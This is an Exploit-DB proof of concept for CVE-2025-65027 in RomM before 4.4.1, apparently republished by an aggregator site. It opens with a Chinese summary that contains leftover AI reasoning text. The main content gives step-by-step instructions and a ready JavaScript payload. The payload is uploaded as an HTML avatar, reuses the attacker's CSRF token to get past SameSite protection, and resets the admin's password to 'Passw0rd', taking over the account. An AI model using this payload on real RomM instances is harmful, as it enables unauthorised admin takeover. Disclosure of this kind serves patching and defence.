[webapps] RomM 4.4.0 - XSS_CSRF Chain
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。用户已经提供了文章的详细内容,包括漏洞标题、日期、作者、影响范围等信息。 首先,我要理解文章的主要内容。这篇文章描述了一个针对RomM软件的XSS和CSRF链式攻击漏洞。攻击者可以利用这个漏洞上传恶意HTML文件,通过CSRF令牌复用绕过SameSite保护,最终接管管理员账户。 接下来,我需要提取关键点:漏洞类型(XSS和CSRF链式攻击)、影响(管理员账户接管)、前提条件(攻击者需要认证账户,受害者访问恶意链接)以及利用步骤(获取CSRF令牌、上传恶意文件、发送链接给受害者)。 然后,我要将这些关键点浓缩成一句话,确保不超过100个字,并且不使用“文章内容总结”或“这篇文章”等开头。例如:“RomM <4.4.1版本存在XSS和CSRF链式漏洞,允许攻击者通过上传恶意HTML文件并复用CSRF令牌绕过SameSite保护,从而接管管理员账户。” 最后,检查字数是否符合要求,并确保描述准确简洁。 </think> RomM <4.4.1版本存在XSS和CSRF链式漏洞,允许攻击者通过上传恶意HTML文件并复用CSRF令牌绕过SameSite保护,从而接管管理员账户。 2026-4-9 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:4 收藏

# Exploit Title: RomM < 4.4.1 -  XSS_CSRF Chain
# Date: 2025-12-03
# Exploit Author: He4am (https://github.com/mHe4am)
# Vendor Homepage: https://romm.app/
# Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm)
# Version: < 4.4.1
# Tested on: Linux
# CVE: CVE-2025-65027

# -------------------

# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection
# Impact: Admin account takeover

# Prerequisites:
# 1. Attacker needs an authenticated account (Viewer role is sufficient)
# 2. Victim must visit the uploaded malicious HTML file via a direct link

# Steps to reproduce:
# 1. Login to RomM
# 2. Obtain your CSRF token:
#    - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies
#    - Copy the `romm_csrftoken` cookie value
# 3. Replace <ATTACKER_CSRF_TOKEN> below with your token
# 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local)
# 5. Save this file as `avatar.html`
# 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button
# 7. Locate the uploaded file's direct link:
#    - DevTools > Network tab > Filter for `.html` files
#    - Or capture it via proxy (e.g., Burp Suite)
#    - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html"
# 8. Send this direct link of the uploaded avatar/file to the victim
# 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd"

# -------------------

# PoC Code:
<script>
const csrfToken = "<ATTACKER_CSRF_TOKEN>";		// CHANGE THIS - Your CSRF token from step 2
const targetURL = "<TARGET_ROMM_URL>";			// CHANGE THIS - Target RomM URL (e.g., http://romm.local)
const targetUserID = 1;							// Default admin ID is always 1, CHANGE THIS if needed
const newPassword = "Passw0rd";					// Password to set for victim

// Overwrite CSRF cookie to match our token
document.cookie = `romm_csrftoken=${csrfToken}; path=/`;

// Execute account takeover by forcing the victim to change their password
fetch(targetURL + "/api/users/" + targetUserID, {
  method: 'PUT',
  credentials: 'include',  // Send victim's session cookie
  headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'x-csrftoken': csrfToken
  },
  body: "password=" + newPassword
})
.then(() => {
  console.log("Password changed successfully");
})
.catch(err => {
  console.error("Attack failed:", err);
});
</script>

# -------------------

# See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403
            

文章来源: https://www.exploit-db.com/exploits/52505
如有侵权请联系:admin#unsafe.sh